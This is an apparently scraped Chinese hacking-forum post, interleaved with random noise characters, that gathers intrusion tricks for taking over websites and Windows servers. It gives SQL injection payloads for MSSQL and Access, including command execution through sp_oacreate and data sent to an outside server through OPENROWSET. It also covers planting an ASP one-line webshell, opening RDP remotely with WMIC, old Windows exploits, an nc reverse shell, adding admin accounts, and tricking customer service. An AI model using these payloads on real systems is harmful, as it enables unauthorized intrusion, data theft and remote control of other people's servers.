SA点数据库分离技术相关8 A9 D/ o# E6 j @
- [: [9 U: _' E/ d, L( b7 d- V$ W
$ r% a3 C- _/ L# N7 FSA点数据库分离搞法+语句:
% \# C" l+ U( |! ?! A/ z$ r
; E9 a* i# J. j8 p注射点不显错,执行下面三条语句页面都返回正常。* q( M, \+ `, W) r! u4 ]+ u1 x
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread'); N, j- j9 P( [7 Q/ b6 q
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
. d& U: Z" m$ t( Y# ?3 @and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
( ?; k& o" o6 p; C" x可以列目录，判断系统为2000，web与数据库分离
4 I! D# _0 t% X% \9 m遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。9 i4 W- l; ?0 K, ~. w) E
在注射点上执行
. k6 ]7 P0 ~2 z- Q+ ^8 |declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--2 A/ v3 q' _: u. e/ }2 q
页面返回正常，通过上面这个命令执行telnet我一个外网肉鸡得1433端口，然后netstat/an没有得到IP: J: m" j3 a/ j2 s
还有我用NC监听得其他端口都没有得到IP。/ L$ A* |) S% P1 g. y. D' b4 F
; X1 s5 d5 Z, h' I" t+ t" U' O. a9 Y
通过注射点执行下面这两个命令页面都返回异常，在肉鸡上面同样也是没有得到IP。
7 O5 L$ p! g5 D/ o) F+ m: F8 H1 Z'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
$ c6 j3 o \5 z" B: I/ n p+ y! f& o& D( T% h1 G
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--' l4 L( y* Y7 \6 H
$ }; S6 }5 n4 _9 P现在就猜想是不是数据库是内网而且不能连外网。
_7 l/ d6 h) ?) B1 n. q* o
0 c8 Z9 Y/ l$ u& L+ u: b
; o* ] {3 j. N( q9 b8 h; n% i1 caccess导出txt文本代码
6 E) j/ {$ Q& [9 J5 gSELECT * into [test.txt] in 'd:\web\' 'text;' from admin5 t$ N+ j: s$ M/ Q
* m# Q9 X3 S( x# v, l; c2 c; ~# X7 |1 p4 T/ B7 @- K2 j
' m# X# l1 u. r& ?
自动跳转到指定网站代码头$ ~! T+ G/ V; f5 ?
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>/ r2 ?$ e9 b9 W: ^/ z
2 C5 h& n9 T. [3 p" g* \4 B8 x5 A0 Q- ^0 E6 v- d0 s
入侵java or jsp站点时默认配置文件路径:5 F! M; q' L/ u. u! O- R
\web-inf\web.xml7 k3 K5 T" D" \3 M/ J$ k
tomcat下的配置文件位置:! T5 j' @/ g0 h: M# G+ ~; ^7 M
\conf\server.xml (前面加上tomcat路径)# W Y9 H2 L7 z. U2 a o/ L: }" E
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
( C' S: z2 K) [0 A" I8 \ w" w( U" _' u2 J( l( C
- W9 @' e% H: a0 c1 \* x6 D
. f6 g& l) ]$ @' v检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
# `2 b7 ]; h6 M/ @8 |-1%232 S) B6 _" w4 l% S
>
5 K9 z8 l2 B3 M7 \3 `3 P% N8 `4 r< K/ \2 T+ d0 }6 }) ?
1'+or+'1'='1
5 p' D3 C9 K! I, H: f( P8 X2 v! a- qid=8%bf
- G5 E% d |0 P* ~
3 v) T6 p9 [0 w. I: ~! E2 U( e6 ^全新注入点检测试法:
$ \9 z7 ?, y" Y, I) }- v6 Z在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞;在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。
, c, I; E& h) {8 y) p. V: W" w' o4 l( x; d
在URL的地址后面加上'%2B'，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2B'，返回的页面和1同;加上'2%2B'asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。* E y$ I' ]) E" D
; O8 S$ N9 L9 e0 \$ I9 p
搜索型注入判断方法:, F% X+ v$ n( G0 ^' y
北京%' and '1'='1' and '%'='
, ~: `* d0 U; ?: D0 A, q+ |北京%' and '1'='2' and '%'='$ b7 j5 n; J- s- d/ E$ G, E1 ]
9 o {1 q8 r n
* \* o0 e! a6 ?. e( f& ACOOKIES注入:- C# q7 Y; F. N- }% J h( {; }& ]
1 \; F' z4 g" e& V5 H0 `javascript:alert(document.cookie="id="+escape("51 and 1=1"));& v3 y, E: U6 h8 k# H& t
9 v- |3 B2 Q8 @" r$ A% I2000专业版查看本地登录用户命令:
+ L# P; h8 a% A# dnet config workstation
, L4 v/ J5 ^6 S7 `9 q; H& p2 d3 m$ j; ^/ H6 R! u) O8 l& F; _
# H, p, M; a5 _, T( Q1 H6 v
2003下查看ipsec配置和默认防火墙配置命令:( L2 g5 ?5 r' @0 v! M
netsh firewall show config
/ [* \" y' B; Unetsh ipsec static show all
6 ]4 ^# L3 }8 r$ [ I, C2 M( c/ V! V6 a6 u
不指派指定策略命令:
! x4 m. h& ^' w; o0 w) Snetsh ipsec static set policy name=test assign=n (test是不指派的策略名)
7 Z* z( e" f \( g0 y9 c+ B. ]* Tnetsh ipsec static show policy all 显示策略名
+ _; K3 c+ S; U4 w
; F9 Y- r9 e0 ]9 F- l+ q, d ^
; y) E( L4 L2 v8 Y* r5 l+ C+ a# `猜管理员后台小技巧:0 z9 U5 V H. Y: ~9 x
admin/left.asp 6 ^5 u' a8 H8 z m
admin/main.asp. A, h+ C7 Q" q1 y: t: S6 r a
admin/top.asp' ?9 N+ N/ J# y* e1 T- t3 F
admin/admin.asp
" ? l# \, A' T9 `* B. h/ O会现出菜单导航,然后迅雷下载全部链接: U5 O$ { X: A) x
$ D+ l0 G( g! d+ v7 f7 T
$ X E+ i$ E' t; d' [2 W4 j社会工程学:
4 l, V! f1 f# A3 A; j' [/ Q% k" O0 M5 ?用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人7 f3 B4 w1 q' [7 J+ Z- j# l4 H
然后去骗客服1 @- j& N2 a9 f# a+ Z8 R
+ J! p2 K8 v K$ q. Z
+ d. _1 n$ |8 d/ j) G
统计系统使用的是IT学习者的统计系统，在网上下载了一套回来研究。这样的系统拿webshell一般就二种：1.数据库插一句话木马，客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录，发现数据库扩展名是asp的，默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb，用明小子的数据库工具打开，发现有防下载的表。管理员的默认密码是：ITlearner。数据库插一句话木马这条路是走不通了，现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码：
' { x9 P; [5 f! ^. _8 \5 o J查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">，
$ B' o- f, a: ~# F; V2 G 存为html文件打开后在最后详细来访信息记录多少条记录，默认为100条框输入100:eval request(chr(35))，点击保存。提示无法找到，结果发现。1 F% A& _9 y1 c* ^% G
+ \2 j8 b6 r9 u: o& b: ?9 S7 I! v+ b: i+ S5 @2 l
5 T( T6 t, y) G! G
6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）. o' s( W+ G" U& u0 g3 z
/ z6 F% A1 s# F4 q8 ]) V3 l" G: f
3 m; L" Y6 ^. r9 C3 s0 }8 {$ {$ q3 ?; M8 G* l8 n0 E
CMD加密注册表位置6 b1 |3 c" ^! V3 ^
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
/ z$ P9 n4 I3 y/ m5 @8 ZAutoRun
$ y0 H+ d, F3 p# V) q' {( r
' G4 o3 U t, R8 {(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
7 c- F2 q9 B* W5 X2 aAutoRun$ j% h' {1 g- L G) L! G: t" k! P
+ w: R- Z2 W$ W% ~3 Q' o1 P0 X: |! j2 T2 \/ d& K: t
在找注入时搜索Hidden,把他改成test$ q& ^; a4 I8 u* M# a
9 U+ N0 C* x% t g: B+ }" X2 N+ ?# q" F3 b$ \# O
! W' ]2 y( U. Pmstsc /v:IP /console
3 a7 T2 R! t5 v& ?2 x6 _! S, k
% y: r6 \7 J3 z7 t. j' k- H7 S' E! P- o( M N% f" L$ N5 ]
一句话开3389:
$ r9 M# Z7 |1 w' s
% P, _! G" a1 _: P. R+ h最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>
6 u- d5 @1 {; F$ |& N w" w开远程：WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
' ]1 k! i3 t3 V5 `( j4 {+ N4 J" l, S: t$ K' U' ?6 ^
' c2 d) ]3 l6 h+ s W
知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:5 ?5 s* p3 D% \: s# H
Insert into admin(user,pwd) values('test','test')2 W3 b5 b3 s7 w8 R) `3 l- {0 ]
& @# E% b: T G, |8 I- _ X8 U- A+ N% R7 z
NC反弹9 O6 n% O/ O# A) P4 C
先在本机执行： nc -vv -lp 监听的端口 (自己执行)
! ]5 p. N# v+ y- |' }然后在服务器上执行： nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
! I. e q, u7 B# W
: w* e% j% ^* x2 e" ]& T& I$ V8 T S8 y/ _! O2 T/ M5 c
在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
/ N. @9 R( M' z9 o( [1 M z5 x- Q
有时候我们入侵的时候，在webshell没有办法列举网站的目录包括dir也不行的时候，这个时候可以尝试用DOS命令SUBST转移目录4 R+ b1 a5 s% T8 _2 W" [& K
例如: ]1 j2 S4 N3 N" I! h/ F% c9 m+ ~4 G
subst k: d:\www\ 用d盘www目录替代k盘4 P# A( O9 U( `2 r% k" |1 v: E1 \
subst k: /d 解除K盘代替 |
匿名
发表于 2017-12-20 02:36:51
发表于 2012-9-15 14:41:29
收藏
支持
反对